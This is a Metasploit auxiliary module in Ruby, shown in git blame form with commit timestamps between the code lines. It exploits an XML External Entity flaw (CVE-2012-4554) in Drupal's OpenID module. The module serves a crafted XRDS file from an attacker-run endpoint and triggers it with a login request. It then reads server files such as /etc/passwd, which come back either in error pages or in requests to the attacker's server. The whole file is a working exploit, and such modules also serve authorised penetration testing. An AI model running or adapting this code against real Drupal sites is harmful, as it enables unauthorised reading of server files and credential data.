2014-01-24 00:04:31 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-01-24 00:04:31 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2014-01-24 01:32:42 +00:00
|
|
|
include REXML
|
2014-01-24 00:04:31 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Drupal OpenID External Entity Injection',
|
|
|
|
'Description' => %q{
|
2014-02-03 18:16:06 +00:00
|
|
|
This module abuses an XML External Entity Injection
|
|
|
|
vulnerability on the OpenID module from Drupal. The vulnerability exists
|
|
|
|
in the parsing of a malformed XRDS file coming from a malicious OpenID
|
|
|
|
endpoint. This module has been tested successfully on Drupal 7.15 and
|
|
|
|
7.2 with the OpenID module enabled.
|
2014-01-24 00:04:31 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Reginaldo Silva', # Vulnerability discovery
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2012-4554' ],
|
|
|
|
[ 'OSVDB', '86429' ],
|
|
|
|
[ 'BID', '56103' ],
|
2014-01-24 00:10:57 +00:00
|
|
|
[ 'URL', 'https://drupal.org/node/1815912' ],
|
2014-01-24 00:04:31 +00:00
|
|
|
[ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
|
|
|
|
[ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 17 2012'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
|
|
|
|
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def xrds_file
|
2014-01-24 01:32:42 +00:00
|
|
|
element_entity = <<-EOF
|
2014-01-24 00:04:31 +00:00
|
|
|
<!ELEMENT URI ANY>
|
|
|
|
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
|
2014-01-24 01:32:42 +00:00
|
|
|
EOF
|
|
|
|
|
|
|
|
xml = Document.new
|
|
|
|
|
|
|
|
xml.add(DocType.new('foo', "[ #{element_entity} ]"))
|
|
|
|
|
|
|
|
xml.add_element(
|
|
|
|
"xrds:XRDS",
|
|
|
|
{
|
|
|
|
'xmlns:xrds' => "xri://$xrds",
|
|
|
|
'xmlns' => "xri://$xrd*($v*2.0)",
|
|
|
|
'xmlns:openid' => "http://openid.net/xmlns/1.0",
|
|
|
|
})
|
|
|
|
|
|
|
|
xrd = xml.root.add_element("XRD")
|
|
|
|
|
|
|
|
xrd.add_element(
|
|
|
|
"Status",
|
|
|
|
{
|
|
|
|
"cid" => "verified"
|
|
|
|
}
|
|
|
|
)
|
|
|
|
provider = xrd.add_element("ProviderID")
|
|
|
|
provider.text = "xri://@"
|
|
|
|
|
|
|
|
canonical = xrd.add_element("CanonicalID")
|
|
|
|
canonical.text = "http://example.com/user"
|
|
|
|
|
|
|
|
service = xrd.add_element("Service")
|
|
|
|
|
|
|
|
type_one = service.add_element("Type")
|
|
|
|
type_one.text = "http://specs.openid.net/auth/2.0/signon"
|
|
|
|
|
|
|
|
type_two = service.add_element("Type")
|
|
|
|
type_two.text = "http://openid.net/srv/ax/1.0"
|
|
|
|
|
|
|
|
uri = service.add_element("URI")
|
|
|
|
uri.text = "METASPLOIT"
|
|
|
|
|
|
|
|
local_id = service.add_element("LocalID")
|
|
|
|
local_id.text = "http://example.com/xrds"
|
|
|
|
|
|
|
|
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
|
2014-01-24 00:04:31 +00:00
|
|
|
end
|
|
|
|
|
2014-01-24 00:30:18 +00:00
|
|
|
def check
|
|
|
|
signature = Rex::Text.rand_text_alpha(5 + rand(5))
|
|
|
|
res = send_openid_auth(signature)
|
|
|
|
|
|
|
|
unless res
|
2014-02-03 18:16:06 +00:00
|
|
|
vprint_status("#{peer} - Connection timed out")
|
2014-01-24 00:30:18 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
2014-01-24 00:51:24 +00:00
|
|
|
if drupal_with_openid?(res, signature)
|
2014-01-24 00:30:18 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
|
|
|
|
if generated_with_drupal?(res)
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
2014-01-24 00:04:31 +00:00
|
|
|
def run
|
|
|
|
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
|
|
|
|
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
|
|
|
|
exploit
|
|
|
|
end
|
|
|
|
|
2014-01-24 00:51:24 +00:00
|
|
|
def primer
|
|
|
|
res = send_openid_auth(get_uri)
|
|
|
|
|
|
|
|
if res.nil?
|
|
|
|
# nothing to do here...
|
|
|
|
service.stop
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
unless res.code == 500
|
|
|
|
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
|
|
|
|
end
|
|
|
|
|
|
|
|
error_loot = parse_loot(res.body)
|
|
|
|
|
|
|
|
# Check if file was retrieved on the drupal answer
|
|
|
|
# Better results, because there isn't URL encoding,
|
|
|
|
# plus probably allows to retrieve longer files.
|
|
|
|
print_status("#{peer} - Searching loot on the Drupal answer...")
|
|
|
|
unless loot?(error_loot)
|
|
|
|
# Check if file was leaked to the fake OpenID endpoint
|
|
|
|
# Contents are probably URL encoded, plus probably long
|
|
|
|
# files aren't full, but something is something :-)
|
|
|
|
print_status("#{peer} - Searching loot on HTTP query...")
|
|
|
|
loot?(@http_loot)
|
|
|
|
end
|
|
|
|
|
|
|
|
# stop the service so the auxiliary module ends
|
|
|
|
service.stop
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2014-01-24 00:04:31 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
if request.uri =~ /#{@prefix}/
|
2014-02-03 18:16:06 +00:00
|
|
|
vprint_status("#{peer} - Signature found, parsing file...")
|
2014-01-24 00:51:24 +00:00
|
|
|
@http_loot = parse_loot(request.uri)
|
2014-01-24 00:04:31 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-02-03 18:16:06 +00:00
|
|
|
print_status("#{peer} - Sending XRDS...")
|
2014-01-24 00:04:31 +00:00
|
|
|
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
|
|
|
|
end
|
|
|
|
|
2014-01-24 00:30:18 +00:00
|
|
|
def send_openid_auth(identifier)
|
2014-01-24 00:04:31 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "/"),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => {
|
|
|
|
"q" => "node",
|
|
|
|
"destination" => "node"
|
|
|
|
},
|
|
|
|
'vars_post' => {
|
2014-01-24 00:30:18 +00:00
|
|
|
"openid_identifier" => identifier,
|
2014-01-24 00:04:31 +00:00
|
|
|
"name" => "",
|
|
|
|
"pass" => "",
|
|
|
|
"form_id" => "user_login_block",
|
|
|
|
"op" => "Log in"
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
|
|
|
def store(data)
|
|
|
|
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
|
2014-01-24 01:34:50 +00:00
|
|
|
print_good("#{peer} - File found and saved to path: #{path}")
|
2014-01-24 00:04:31 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def parse_loot(data)
|
|
|
|
return nil if data.blank?
|
|
|
|
|
|
|
|
# Full file found
|
|
|
|
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
|
|
|
|
return $1
|
|
|
|
end
|
|
|
|
|
|
|
|
# Partial file found
|
|
|
|
if data =~ /#{@prefix}\/(.*)/m
|
|
|
|
return $1
|
|
|
|
end
|
|
|
|
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2014-01-24 00:51:24 +00:00
|
|
|
def loot?(data)
|
|
|
|
return false if data.blank?
|
|
|
|
store(data)
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
def drupal_with_openid?(http_response, signature)
|
|
|
|
return false if http_response.blank?
|
|
|
|
return false unless http_response.code == 200
|
|
|
|
return false unless http_response.body =~ /openid_identifier.*#{signature}/
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
def generated_with_drupal?(http_response)
|
|
|
|
return false if http_response.blank?
|
|
|
|
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
|
|
|
|
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2014-01-24 00:04:31 +00:00
|
|
|
end
|
|
|
|
|